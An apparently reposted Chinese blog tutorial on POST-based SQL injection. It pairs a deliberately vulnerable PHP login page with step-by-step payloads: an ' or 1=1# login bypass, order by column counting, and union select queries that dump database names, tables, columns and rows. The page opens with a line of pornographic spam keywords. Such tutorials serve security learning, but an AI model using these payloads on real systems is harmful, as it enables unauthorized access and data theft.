国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

SQL注入原理-POST注入

這篇具有很好參考價(jià)值的文章主要介紹了SQL注入原理-POST注入。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

? ? ? ? 小伙伴們大家好!本期為大家?guī)淼氖荢QL注入原理之POST注入。

目錄

GET傳參與POST傳參

什么是POST注入?

實(shí)戰(zhàn)演示

一、判斷是否存在注入點(diǎn)

二、萬能密碼

三、判斷查詢字段個(gè)數(shù)

四、找出可以回顯的字段

五、爆出數(shù)據(jù)庫(kù)的數(shù)據(jù)

1、爆出數(shù)據(jù)庫(kù)版本和當(dāng)前數(shù)據(jù)庫(kù)的用戶

2、爆出所有的數(shù)據(jù)庫(kù)名

3、爆出當(dāng)前的數(shù)據(jù)庫(kù)名

4、爆出數(shù)據(jù)庫(kù)下的所有表名

5、爆出表下的所有字段名

6、爆出表中的數(shù)據(jù)


GET傳參與POST傳參

? ? ? ? GET傳參就是我們平常的在訪問一個(gè)網(wǎng)頁(yè)地址的時(shí)候,網(wǎng)址的網(wǎng)站路徑后面加的“?”后面的參數(shù)等于...。例如“http://www.xxx.com?id=1”,這里的?id中的id就是以GET傳參方式傳遞的。即:GET方式傳遞的參數(shù)都會(huì)在URL中顯示出來。GET方式傳參如果傳遞的是用戶名和密碼的話,就顯得數(shù)據(jù)在傳輸過程中保密性非常的差。這時(shí)候就出來了另一種參數(shù)提交方式——POST傳參。

? ? ? ? 既然GET傳參容易泄露敏感信息,那么POST方式就是不容易泄露敏感信息,因?yàn)镻OST傳遞的參數(shù)的數(shù)據(jù)都在請(qǐng)求體中,只有通過使用抓包軟件才能夠獲取我們POST方式提交的數(shù)據(jù)。一般POST的提交方式都會(huì)出現(xiàn)在賬號(hào)登錄,密碼修改的功能當(dāng)中,但也不限于這幾種功能!? ? ? ??

什么是POST注入?

? ? ? ? 所謂POST注入就是我們?cè)谇岸颂峤粩?shù)據(jù)的時(shí)候,前端使用的是POST方式提交的數(shù)據(jù)。說白了,跟GET注入沒有什么本質(zhì)上的區(qū)別,無非就是提交數(shù)據(jù)的方式改變了,而注入的技巧思路都是一樣的。

實(shí)戰(zhàn)演示

源碼:

<?php

// 連接數(shù)據(jù)庫(kù)
$coon = mysqli_connect("127.0.0.1", "root", "root", "test", 3306);
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

echo "<center><br/>";
echo "<form method='post' action='sql12.php' style='padding-top: 100px'>";
echo "<label>賬號(hào):&nbsp;&nbsp;</label>";
echo "<input type='text' name='username'/><br/>";
echo "<label>密碼:&nbsp;&nbsp;</label>";
echo "<input type='password' name='password' /><br/><br/>";
echo "<input type='submit' value='登錄'>&nbsp;&nbsp;&nbsp;";
echo "<input type='reset' value='重置'>";
echo "</center>";

if (isset($_POST['username']) && isset($_POST['password'])) {
    // 接受傳來的參數(shù)id
    $username= @$_POST['username'];
    $password = @$_POST['password'];
    // 執(zhí)行的SQL語句
    $sql = "select username,password from users where username='$username' and password='$password'";
    $res = mysqli_query($coon, $sql);
    $row = mysqli_fetch_array($res);
    if ($row) {

        echo "<center><br/>";
        echo "<h1>Your username is : ".$row['username']."</h1><br/>";
        echo "<h1>Your password is : ".$row['password']."</h1><br/>";
        echo "</center>";
    } else {
        echo "<center></br>";
        echo "<h1>Your username or password is error!</h1>";
        print_r(mysqli_error($coon));
        echo "</center>";
    }
}

SQL注入原理-POST注入

一、判斷是否存在注入點(diǎn)

首先我們還是先判斷該站點(diǎn)是否存在注入點(diǎn),我們先正常的輸入賬號(hào)密碼(這里的賬號(hào)密碼可以隨便輸入)登錄看一下頁(yè)面的響應(yīng)。

SQL注入原理-POST注入

我們隨便輸入了一個(gè)賬號(hào)密碼,直接提示我們賬號(hào)或密碼錯(cuò)誤,并且觀察URL并沒有攜帶參數(shù)值,所以我們就知道了這個(gè)登錄的頁(yè)面采用的是POST傳參。?

我們聯(lián)想到一般的登錄都是檢查我們輸入的賬號(hào)密碼與后臺(tái)數(shù)據(jù)庫(kù)存儲(chǔ)的賬號(hào)密碼相對(duì)比,看是否數(shù)據(jù)庫(kù)是否存在我們輸入的賬號(hào)密碼,而一般后臺(tái)都是將我們輸入的賬號(hào)密碼作為條件然后去數(shù)據(jù)庫(kù)查找,因?yàn)槲覀兊馁~號(hào)密碼都是字符串,數(shù)據(jù)庫(kù)查詢的時(shí)候必定將我們輸入的賬號(hào)密碼用單引號(hào)或者雙引號(hào)包裹起來,所以我們?cè)谳斎胭~號(hào)的時(shí)候,在后面加上一個(gè)單引號(hào)或者雙引號(hào)。

SQL注入原理-POST注入

SQL注入原理-POST注入發(fā)現(xiàn)頁(yè)面報(bào)錯(cuò),根據(jù)報(bào)錯(cuò)結(jié)果可以看出來,我們輸入的賬號(hào)密碼確實(shí)被單引號(hào)給包裹了起來。

既然已經(jīng)知道是POST方式提交參數(shù),我們先來抓一下包,看POST提交的請(qǐng)求體中的數(shù)據(jù)。?以方便我們使用hackbar來進(jìn)行測(cè)試。

SQL注入原理-POST注入這里看到post提交的數(shù)據(jù)為“username=admin&password=admin”

這樣我們可以拿著這個(gè)數(shù)據(jù)使用火狐插件hackbar來進(jìn)行測(cè)試,這樣更方便。

SQL注入原理-POST注入

我們接下來構(gòu)造and 1=2和and 1=1的條件看是否能夠插入到后端SQL語句當(dāng)中。

payload:“username=admin' and 1=2#&password=”

username=admin' and 1=2#&password=

SQL注入原理-POST注入

SQL注入原理-POST注入

可以看到and 1=1 時(shí)頁(yè)面會(huì)顯出了賬號(hào)密碼,and 1=2的時(shí)候爆出錯(cuò)誤,說明我們構(gòu)造的語句插入到了后端SQL語句,存在注入點(diǎn)。

二、萬能密碼

所謂萬能密碼呢,就是在登錄框中輸入一條簡(jiǎn)單的語句,即“' or 1=1#

從后端的SQL語句分析

select username,password from users where username='$username' and password='$password'

我們輸入的萬能密碼即為$username,我們沒有輸入password,$password就為空。

這樣我們輸入的萬能密碼插入到后端SQL語句就變成了:

select username,password from users where username='' or 1=1#' and password=''

后面的and password=''就被我們輸入的#給注釋掉了。

數(shù)據(jù)庫(kù)真正執(zhí)行的SQL語句為:

select username,password from users where username='' or 1=1

由于我們輸入的or 1=1是正確的,所以后端就會(huì)返回users表中所有的數(shù)據(jù),由于前端只展示一條數(shù)據(jù),所以我們看到的是賬號(hào)為admin密碼為admin的數(shù)據(jù)。

假如我們將萬能密碼后加入“l(fā)imit 1,1”,看到的就不是admin的數(shù)據(jù)了,而是另外一條賬號(hào)密碼的數(shù)據(jù)。

limit num1,num2 的作用使用顯示查詢結(jié)果索引為num1后num2個(gè)數(shù)據(jù)。例如limit 0,1 就是取查詢結(jié)果中索引為0位置后1個(gè)數(shù)據(jù)。? ?

SQL注入原理-POST注入

三、判斷查詢字段個(gè)數(shù)

接下來,我們就是來判斷后端在數(shù)據(jù)庫(kù)查詢時(shí),總共查詢了幾個(gè)字段的數(shù)據(jù)。

我們通常使用order by 來判斷后端進(jìn)行數(shù)據(jù)庫(kù)查詢時(shí)所查詢的字段數(shù)。

payload:“username=admin' order by 3#&password=”

username=admin' order by 3#&password=

order by是數(shù)據(jù)庫(kù)查詢的時(shí)候?qū)Y(jié)果進(jìn)行的排序,如果后面寫的是字段,則根據(jù)查詢字段進(jìn)行排序,但如果后面寫的是數(shù)字,該數(shù)字大于所查詢的字段數(shù),則就會(huì)報(bào)錯(cuò),小于的話就不會(huì)報(bào)錯(cuò)。?

SQL注入原理-POST注入

SQL注入原理-POST注入

通過頁(yè)面回顯知,order by 2 會(huì)顯出數(shù)據(jù),order by 3爆出錯(cuò)誤,由此可以判斷出后端查詢字段個(gè)數(shù)位2個(gè)。

四、找出可以回顯的字段

構(gòu)造payload:“username=' union select 1,2#&password=”

username=' union select 1,2#&password=

SQL注入原理-POST注入

從頁(yè)面的回顯結(jié)果可以看出來,后端查詢的兩個(gè)字段都能在前端頁(yè)面得到回顯。

五、爆出數(shù)據(jù)庫(kù)的數(shù)據(jù)

1、爆出數(shù)據(jù)庫(kù)版本和當(dāng)前數(shù)據(jù)庫(kù)的用戶

構(gòu)造payload:“username=' union select version(),user()#&password=”

username=' union select version(),user()#&password=

其中version()函數(shù)返回?cái)?shù)據(jù)庫(kù)版本信息,user()函數(shù)返回當(dāng)前數(shù)據(jù)庫(kù)用戶的信息。?

SQL注入原理-POST注入

2、爆出所有的數(shù)據(jù)庫(kù)名

構(gòu)造payload:“username=' union select group_concat(schema_name),2 from information_schema.schemata#&password=”

username=' union select group_concat(schema_name),2 from information_schema.schemata#&password=

因?yàn)榍岸酥伙@示一條數(shù)據(jù),而我們想要得到所有的結(jié)果就要使用group_concat()函數(shù),group_concat() 可以將我們查詢到的數(shù)據(jù)用“,”拼接起來。?

information_schema數(shù)據(jù)庫(kù)是MySQL5.0之后自帶的數(shù)據(jù)庫(kù),infomation_schema數(shù)據(jù)下的schemata表存儲(chǔ)了所有數(shù)據(jù)庫(kù)名,information_schema數(shù)據(jù)庫(kù)下的tables表存儲(chǔ)了所有的表名,information_schema數(shù)據(jù)庫(kù)下的columns表存儲(chǔ)了所有的字段名。

SQL注入原理-POST注入

這樣我們就得到了所有的數(shù)據(jù)庫(kù)名。

3、爆出當(dāng)前的數(shù)據(jù)庫(kù)名

構(gòu)造payload:“username=' union select database(),2#&password=”

username=' union select database(),2#&password=

其中database()函數(shù)返回當(dāng)前的數(shù)據(jù)庫(kù)名。?

SQL注入原理-POST注入

這樣我們就得到了當(dāng)前的數(shù)據(jù)庫(kù)名test。

4、爆出數(shù)據(jù)庫(kù)下的所有表名

構(gòu)造payload:“username=' union select group_concat(table_name),2 from information_schema.tables where table_schema='study'#&password=”

username=' union select group_concat(table_name),2 from information_schema.tables where table_schema='study'#&password=

SQL注入原理-POST注入

這樣我們就得到了study數(shù)據(jù)庫(kù)下的所有表——student表和teacher表。

5、爆出表下的所有字段名

構(gòu)造payload:“username=' union select group_concat(column_name),2 from information_schema.columns where table_schema='study' and table_name='student'#&password=”

username=' union select group_concat(column_name),2 from information_schema.columns where table_schema='study' and table_name='student'#&password=

SQL注入原理-POST注入

這樣我們就得到了study數(shù)據(jù)庫(kù)下student表的所有字段,分別為id,name,age。

6、爆出表中的數(shù)據(jù)

構(gòu)造payload:“username=' union select group_concat(name),group_concat(age) from study.student#&password=”

username=' union select group_concat(name),group_concat(age) from study.student#&password=

SQL注入原理-POST注入

這樣我們就得到了study數(shù)據(jù)庫(kù)下student表中的數(shù)據(jù)。

剩下的注入就交給小伙伴們了!

當(dāng)然有的網(wǎng)站不會(huì)將查詢到的數(shù)據(jù)在前端頁(yè)面展示,這樣我們就很難直觀的得到數(shù)據(jù)了,這時(shí)我們就可以嘗試使用報(bào)錯(cuò)盲注、布爾盲注以及時(shí)間盲注來爆出數(shù)據(jù)。文章來源地址http://www.zghlxwxcb.cn/news/detail-405066.html

到了這里,關(guān)于SQL注入原理-POST注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • SQL注入原理

    結(jié)構(gòu)化查詢語言(Structured Query Language,SQL),是一種特殊的編程語言,用于數(shù)據(jù)庫(kù)的標(biāo)準(zhǔn)數(shù)據(jù)查詢。1986 年10 月美國(guó)國(guó)家標(biāo)準(zhǔn)協(xié)會(huì)對(duì)SQL 進(jìn)行了規(guī)范后,以此作為關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng)的標(biāo)準(zhǔn)語言。1987 年得到了國(guó)際標(biāo)準(zhǔn)組織的支持,成為了國(guó)際標(biāo)準(zhǔn)。 不過各種通行的數(shù)據(jù)庫(kù)系統(tǒng)在其

    2024年02月11日
    瀏覽(24)
  • Sql注入詳解(原理篇)

    Sql注入詳解(原理篇)

    SQL 注入漏洞非常復(fù)雜,區(qū)分各種 數(shù)據(jù)庫(kù)類型,提交方法,數(shù)據(jù)類型 等注入,同樣此類漏洞是WEB安全中嚴(yán)重的安全漏洞,學(xué)習(xí)如何利用,挖掘,修復(fù)也是很重要的 1、什么是SQL注入 SQL 注入就是指 Web 應(yīng)用程序?qū)τ脩糨斎氲臄?shù)據(jù)合法性沒有過濾或者是判斷,攻擊者可以在Web應(yīng)用

    2024年02月09日
    瀏覽(17)
  • SQL注入攻擊原理 實(shí)戰(zhàn)

    SQL注入攻擊原理 實(shí)戰(zhàn)

    我來進(jìn)行實(shí)戰(zhàn)了,總在看教程。 提示:這里可以添加本文要記錄的大概內(nèi)容: 前言,前言,前言(撓頭)啊,我終于打?qū)崙?zhàn)了 提示:以下是本篇文章正文內(nèi)容,下面案例可供參考 看這樣子,應(yīng)該是不存在的 如果沒有就繼續(xù)吧, 哎,你看它變了, 又回來了,沒有那就試試這個(gè)

    2024年02月12日
    瀏覽(20)
  • 漏洞原理 SQL 注入

    漏洞原理 SQL 注入

    OWASP漏洞原理啟航(第一課)-CSDN博客 OWASP漏洞原理<最基礎(chǔ)的數(shù)據(jù)庫(kù) 第二課>-CSDN博客 小皮面板(phpstudy

    2024年02月20日
    瀏覽(23)
  • SQL注入原理以及Spring Boot如何防止SQL注入(含詳細(xì)示例代碼)

    點(diǎn)擊下載《SQL注入原理以及Spring Boot如何防止SQL注入(含詳細(xì)示例代碼)》 SQL注入是一種針對(duì)數(shù)據(jù)庫(kù)的攻擊技術(shù),攻擊者通過在應(yīng)用程序的輸入字段中插入或“注入”惡意的SQL代碼,從而在數(shù)據(jù)庫(kù)服務(wù)器上執(zhí)行非授權(quán)的SQL查詢。這種攻擊可能導(dǎo)致數(shù)據(jù)泄露、數(shù)據(jù)篡改、甚至執(zhí)

    2024年02月20日
    瀏覽(31)
  • SQL注入原理-布爾盲注

    SQL注入原理-布爾盲注

    ? ? ? ? 小伙伴們大家好,今天為大家?guī)淼氖筍QL注入原理之布爾盲注。 目錄 布爾盲注使用的環(huán)境 常用函數(shù)與語句 substr()函數(shù) ord()函數(shù)? length()函數(shù)? 實(shí)戰(zhàn)演示? 1、判斷是否存在注入點(diǎn) 2、嘗試用報(bào)錯(cuò)盲注看是否能夠成功爆出數(shù)據(jù) 3、使用布爾盲注來爆出數(shù)據(jù)信息 1.爆出數(shù)據(jù)

    2023年04月08日
    瀏覽(31)
  • SQL注入原理-時(shí)間盲注

    SQL注入原理-時(shí)間盲注

    ? ? ? ? 小伙伴們大家好!本期為大家?guī)淼氖荢QL注入原理之時(shí)間盲注。 目錄 使用環(huán)境 常見函數(shù)與語句 sleep()函數(shù) if語句 substr()函數(shù) ord()函數(shù)? length()函數(shù)? 實(shí)戰(zhàn)演示 1、判斷是否存在注入點(diǎn) 2、使用時(shí)間盲注爆出數(shù)據(jù) 1、爆出當(dāng)前數(shù)據(jù)庫(kù)名的長(zhǎng)度 2、爆出數(shù)據(jù)庫(kù)名長(zhǎng)度 3、爆

    2023年04月10日
    瀏覽(89)
  • SQL注入原理及利用方式

    SQL注入原理及利用方式

    在Web表單遞交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,通過后端語言連接數(shù)據(jù)庫(kù)并查詢數(shù)據(jù),攻擊者可利用此漏洞拼接惡意語句獲取大量數(shù)據(jù)。 在表單頁(yè)面或者存在參數(shù)傳遞的地方可能存在SQL注入漏洞。 SQL注入漏洞類型 SQL注入類型可分為兩大類:數(shù)字型注入(不需要添加特殊

    2024年02月06日
    瀏覽(18)
  • SQL 注入漏洞原理以及修復(fù)方法

    漏洞名稱 :SQL注入 、SQL盲注 漏洞描述 :所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來說,它是利用現(xiàn)有應(yīng)用程序,將(惡意)的SQL命令注入到后臺(tái)數(shù)據(jù)庫(kù)引擎執(zhí)行的能力,它可以通過

    2024年01月24日
    瀏覽(28)
  • 深入理解 SQL 注入攻擊原理與防御措施

    SQL 注入是一種常見的網(wǎng)絡(luò)攻擊方式,攻擊者通過在輸入框等用戶交互界面中插入惡意 SQL 語句,從而獲取、篡改或刪除數(shù)據(jù)庫(kù)中的數(shù)據(jù)。本文將詳細(xì)解釋 SQL 注入的原理,并介紹如何通過編碼規(guī)范和防御措施來預(yù)防這種攻擊。 SQL 注入攻擊的核心原理是將惡意構(gòu)造的 SQL 語句注

    2024年02月11日
    瀏覽(19)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包